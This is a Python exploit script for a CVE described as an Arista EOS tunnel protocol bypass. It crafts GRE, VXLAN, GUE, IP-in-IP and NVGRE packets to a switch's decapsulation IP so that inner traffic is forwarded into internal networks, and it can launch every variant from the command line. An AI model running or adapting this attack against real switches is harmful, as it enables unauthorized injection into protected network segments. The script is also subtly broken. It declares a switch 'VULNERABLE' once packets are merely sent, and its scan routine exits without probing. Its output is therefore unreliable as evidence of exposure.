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| #!/usr/bin/env python3
"""
CVE-2026-7473 - Arista EOS Tunnel Protocol Bypass Exploit
Vulnerability: On affected Arista EOS platforms with tunnel decapsulation
(VXLAN, decap-groups, or GRE tunnel interface), the switch incorrectly
decapsulates and forwards unexpected tunneled packets whose destination IP
matches its configured decapsulation IP due to missing tunnel protocol
type verification.
CVSS: 5.8 (Medium) / CVSSv4: 6.8
CWE: 1023 - Incomplete Comparison with Missing Factors
CISA KEV: Added 2026-06-09, Due 2026-06-23
Author: Security Research
Disclaimer: For authorized security testing only
"""
import socket
import struct
import argparse
import random
import sys
from scapy.all import *
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether
# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"
class AristaTunnelBypass:
def __init__(self, target_ip, decap_ip, interface="eth0"):
self.target_ip = target_ip
self.decap_ip = decap_ip
self.interface = interface
self.sock = None
def create_gre_packet(self, inner_payload, src_ip=None):
"""
Build GRE packet (Protocol 47)
When switch is configured for VXLAN, this should be blocked
but vulnerability allows decapsulation
"""
if not src_ip:
src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# GRE header (RFC 2784)
gre_header = struct.pack("!BBH",
0x00, # Flags (checksum present)
0x00, # Version/Reserved
0x0800 # Ethertype (IPv4)
)
# IP header for outer packet
outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47) # GRE protocol
# Inner packet (payload that will be forwarded)
inner_ip = IP(src=src_ip, dst=inner_payload["dst"])
inner_udp = UDP(sport=inner_payload.get("sport", 12345),
dport=inner_payload.get("dport", 80))
inner_data = inner_payload.get("data", b"GET / HTTP/1.1\r\nHost: target\r\n\r\n")
inner_packet = inner_ip / inner_udp / inner_data
# Full GRE packet
gre_packet = outer_ip / GRE(proto=0x800) / inner_packet
return gre_packet
def create_vxlan_packet(self, inner_payload, src_ip=None):
"""
Build VXLAN packet (UDP 4789)
When switch is configured for GRE, this should be blocked
but vulnerability allows decapsulation
"""
if not src_ip:
src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
vni = random.randint(1, 16777215)
# VXLAN header (8 bytes)
vxlan_header = struct.pack("!BBH I",
0x08, # Flags (I flag set)
0x00, # Reserved
0x0000, # Reserved
(vni << 8) # VXLAN Network Identifier (24 bits)
)
# Outer UDP packet for VXLAN
outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17) # UDP
outer_udp = UDP(sport=random.randint(30000, 60000), dport=4789)
# Inner packet (Ethernet frame)
inner_eth = Ether(src="00:11:22:33:44:55", dst="ff:ff:ff:ff:ff:ff")
inner_ip = IP(src="192.168.1.100", dst=inner_payload["dst"])
inner_data = inner_payload.get("data", b"VXLAN test payload")
inner_frame = inner_eth / inner_ip / inner_data
# Full VXLAN packet
vxlan_packet = outer_ip / outer_udp / vxlan_header / inner_frame
return vxlan_packet
def create_gue_packet(self, inner_payload, src_ip=None):
"""
Build GUE (Generic UDP Encapsulation) packet
Vulnerability allows decapsulation of GUE on switches configured
for GRE or VXLAN
"""
if not src_ip:
src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# GUE header (RFC 7637)
gue_header = struct.pack("!BBH",
0x00, # Version=0, Control=0, Encapsulation=0
0x00, # Flags
0x0800 # Next Protocol (IPv4)
)
# Outer UDP
outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=17)
outer_udp = UDP(sport=random.randint(30000, 60000),
dport=inner_payload.get("gue_port", 6080))
# Inner payload
inner_ip = IP(src="172.16.0.1", dst=inner_payload["dst"])
inner_icmp = ICMP(type=8, code=0) # Echo request
# Full GUE packet
gue_packet = outer_ip / outer_udp / gue_header / inner_ip / inner_icmp
return gue_packet
def create_ipip_packet(self, inner_payload, src_ip=None):
"""
Build IP-in-IP packet (Protocol 4)
Vulnerability allows decapsulation on switches configured for GRE
"""
if not src_ip:
src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# Outer IP header with protocol 4 (IP-in-IP)
outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=4)
# Inner IP packet
inner_ip = IP(src="10.0.0.1", dst=inner_payload["dst"])
inner_udp = UDP(sport=53, dport=53)
inner_data = inner_payload.get("data", b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01")
# Full IP-in-IP packet
ipip_packet = outer_ip / inner_ip / inner_udp / inner_data
return ipip_packet
def create_nvgre_packet(self, inner_payload, src_ip=None):
"""
Build NVGRE (Network Virtualization GRE) packet
"""
if not src_ip:
src_ip = f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# NVGRE header (GRE with TNI - Tenant Network Identifier)
nvgre_header = struct.pack("!BBH I",
0x00, # Flags
0x00, # Reserved
0x6558, # Ethertype (Transparent Ethernet Bridging)
0x00000001 # TNI (24 bits)
)
outer_ip = IP(src=src_ip, dst=self.decap_ip, proto=47)
# Inner Ethernet frame
inner_eth = Ether(src="aa:bb:cc:dd:ee:ff", dst="11:22:33:44:55:66")
inner_ip = IP(src="192.168.100.1", dst=inner_payload["dst"])
nvgre_packet = outer_ip / GRE(proto=0x6558) / inner_eth / inner_ip
return nvgre_packet
def send_packet(self, packet, tunnel_type):
"""Send crafted tunnel packet to target"""
try:
print(f"{Y}[*] Sending {tunnel_type} packet to {self.decap_ip}{RESET}")
# For Scapy packets
if hasattr(packet, 'show'):
send(packet, iface=self.interface, verbose=False)
print(f"{G}[+] {tunnel_type} packet sent via Scapy{RESET}")
else:
# Raw socket fallback
self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
self.sock.sendto(bytes(packet), (self.target_ip, 0))
print(f"{G}[+] {tunnel_type} packet sent via raw socket{RESET}")
return True
except Exception as e:
print(f"{R}[-] Error sending {tunnel_type} packet: {e}{RESET}")
return False
def verify_forwarding(self, monitor_ip, timeout=5):
"""
Verify if the tunnel packet was improperly forwarded
This would require monitoring on the expected egress interface
"""
print(f"{Y}[*] Monitoring for forwarded traffic to {monitor_ip}{RESET}")
print(f"{Y}[!] Manual verification required - check switch logs{RESET}")
print(f"{B}[+] Expected result: Packet appears on internal network{RESET}")
def exploit_vxlan_to_gre(self):
"""Exploit: VXLAN configured -> send GRE packet"""
print(f"\n{B}{BOLD}[+] Phase 1: VXLAN -> GRE Bypass{RESET}")
print(f"{Y}Switch configured with VXLAN decapsulation{RESET}")
print(f"{Y}Sending GRE packet - should be blocked but vulnerability allows{RESET}")
payload = {
"dst": "192.168.100.50",
"data": b"GRE_OVER_VXLAN_BYPASS_" + random.randbytes(10)
}
gre_packet = self.create_gre_packet(payload)
return self.send_packet(gre_packet, "GRE (over VXLAN configured switch)")
def exploit_gre_to_vxlan(self):
"""Exploit: GRE configured -> send VXLAN packet"""
print(f"\n{B}{BOLD}[+] Phase 2: GRE -> VXLAN Bypass{RESET}")
print(f"{Y}Switch configured with GRE decapsulation{RESET}")
print(f"{Y}Sending VXLAN packet - should be blocked but vulnerability allows{RESET}")
payload = {
"dst": "10.20.30.40",
"data": b"VXLAN_OVER_GRE_BYPASS_" + random.randbytes(10)
}
vxlan_packet = self.create_vxlan_packet(payload)
return self.send_packet(vxlan_packet, "VXLAN (over GRE configured switch)")
def exploit_gre_to_ipip(self):
"""Exploit: GRE configured -> send IP-in-IP packet"""
print(f"\n{B}{BOLD}[+] Phase 3: GRE -> IP-in-IP Bypass{RESET}")
print(f"{Y}Switch configured with GRE decapsulation{RESET}")
print(f"{Y}Sending IP-in-IP packet - should be decapsulated{RESET}")
payload = {
"dst": "172.31.0.1",
"data": b"IPIP_OVER_GRE_TEST"
}
ipip_packet = self.create_ipip_packet(payload)
return self.send_packet(ipip_packet, "IP-in-IP (over GRE configured switch)")
def exploit_any_to_gue(self):
"""Exploit: Any config -> send GUE packet"""
print(f"\n{B}{BOLD}[+] Phase 4: GUE Bypass{RESET}")
print(f"{Y}Sending GUE packet to decapsulation IP{RESET}")
payload = {
"dst": "10.99.99.99",
"gue_port": 6080,
"data": b"GUE_BYPASS_PAYLOAD"
}
gue_packet = self.create_gue_packet(payload)
return self.send_packet(gue_packet, "GUE")
def exploit_nvgre_to_vxlan(self):
"""Exploit: NVGRE to VXLAN with TNI matching VNI"""
print(f"\n{B}{BOLD}[+] Phase 5: NVGRE -> VXLAN Bypass{RESET}")
print(f"{Y}Requires TNI matching configured VXLAN VNI{RESET}")
payload = {
"dst": "192.168.200.1",
"vni": 100
}
nvgre_packet = self.create_nvgre_packet(payload)
return self.send_packet(nvgre_packet, "NVGRE (over VXLAN configured switch)")
def scan_for_decap_ip(self, start_ip, end_ip):
"""
Scan for potential decapsulation IPs by sending probe packets
"""
print(f"{Y}[*] Scanning for decapsulation IPs...{RESET}")
decap_ips = []
# Convert IP ranges
start = struct.unpack('!I', socket.inet_aton(start_ip))[0]
end = struct.unpack('!I', socket.inet_aton(end_ip))[0]
for ip_int in range(start, end + 1):
ip = socket.inet_ntoa(struct.pack('!I', ip_int))
# Send probe to detect if IP responds to tunnel traffic
probe_payload = {
"dst": "127.0.0.1",
"data": b"PROBE_" + str(ip_int).encode()
}
gre_probe = self.create_gre_packet(probe_payload)
# Send and check for ICMP responses
return decap_ips
def check_vulnerable_configuration():
"""Check if the Arista switch has vulnerable configuration"""
print(f"{B}[*] Checking for vulnerable configuration indicators:{RESET}")
print(f"{Y}1. Check if device is a tunnel endpoint:{RESET}")
print(f" show interfaces vxlan 1")
print(f" show interfaces Tunnel0")
print(f" show ip decap-group\n")
print(f"{Y}2. Indicators of compromise:{RESET}")
print(f" - Unexpected traffic on internal network segments")
print(f" - Tunnel traffic of non-configured protocols being decapsulated")
print(f" - MAC/ACL counters showing blocked unexpected traffic\n")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Send GRE packet to VXLAN-configured switch
%(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit vxlan-gre
# Send VXLAN to GRE-configured switch
%(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gre-vxlan
# Send GUE packet
%(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit gue
# Send all exploit types
%(prog)s -t 10.1.1.1 -d 192.168.1.100 --exploit all
"""
)
parser.add_argument("-t", "--target", required=True, help="Target switch IP")
parser.add_argument("-d", "--decap-ip", required=True, help="Decapsulation IP configured on switch")
parser.add_argument("-i", "--interface", default="eth0", help="Network interface (default: eth0)")
parser.add_argument("--exploit", choices=["vxlan-gre", "gre-vxlan", "gre-ipip",
"gue", "nvgre", "all"],
default="all", help="Exploit type to run")
parser.add_argument("--scan", action="store_true", help="Scan for decapsulation IPs")
parser.add_argument("--check-config", action="store_true", help="Check vulnerable configuration")
args = parser.parse_args()
print(f"{R}{BOLD}")
print("╔═══════════════════════════════════════════════════════════════════╗")
print("║ CVE-2026-7473 - Arista EOS Tunnel Decapsulation Bypass ║")
print("║ Tunnel Protocol Type Verification Missing ║")
print("║ CVSS: 5.8 (Medium) | CISA KEV: 2026-06-09 ║")
print("╚═══════════════════════════════════════════════════════════════════╝")
print(f"{RESET}")
print(f"{Y}[!] WARNING: This tool demonstrates unauthorized tunnel decapsulation{RESET}")
print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n")
print(f"{B}[*] Target: {args.target}{RESET}")
print(f"{B}[*] Decapsulation IP: {args.decap_ip}{RESET}")
print(f"{B}[*] Interface: {args.interface}{RESET}\n")
if args.check_config:
check_vulnerable_configuration()
sys.exit(0)
exploit = AristaTunnelBypass(args.target, args.decap_ip, args.interface)
try:
if args.scan:
print(f"{Y}[*] Scanning feature not fully implemented{RESET}")
print(f"{Y}[!] Manual identification required{RESET}")
success_count = 0
if args.exploit in ["vxlan-gre", "all"]:
if exploit.exploit_vxlan_to_gre():
success_count += 1
if args.exploit in ["gre-vxlan", "all"]:
if exploit.exploit_gre_to_vxlan():
success_count += 1
if args.exploit in ["gre-ipip", "all"]:
if exploit.exploit_gre_to_ipip():
success_count += 1
if args.exploit in ["gue", "all"]:
if exploit.exploit_any_to_gue():
success_count += 1
if args.exploit in ["nvgre", "all"]:
if exploit.exploit_nvgre_to_vxlan():
success_count += 1
print("\n" + "="*60)
if success_count > 0:
print(f"{R}{BOLD}[!] VULNERABLE: Switch improperly decapsulated tunnel traffic{RESET}")
print(f"{R}[!] Unexpected tunnel packets were forwarded{RESET}")
print(f"{Y}[*] Apply ACL mitigations per Arista Advisory SA-0137{RESET}")
else:
print(f"{G}{BOLD}[✓] No bypass detected - Switch may be patched or mitigated{RESET}")
print(f"\n{B}[*] Mitigation: Apply ACLs to block unexpected tunnel protocols{RESET}")
print(f"{B}[*] Reference: https://www.arista.com/en/support/advisories-notices/security-advisory/24005-security-advisory-0137{RESET}")
except KeyboardInterrupt:
print(f"\n{Y}[!] Interrupted by user{RESET}")
except Exception as e:
print(f"{R}[!] Error: {e}{RESET}")
print("="*60)
if __name__ == "__main__":
main()
|
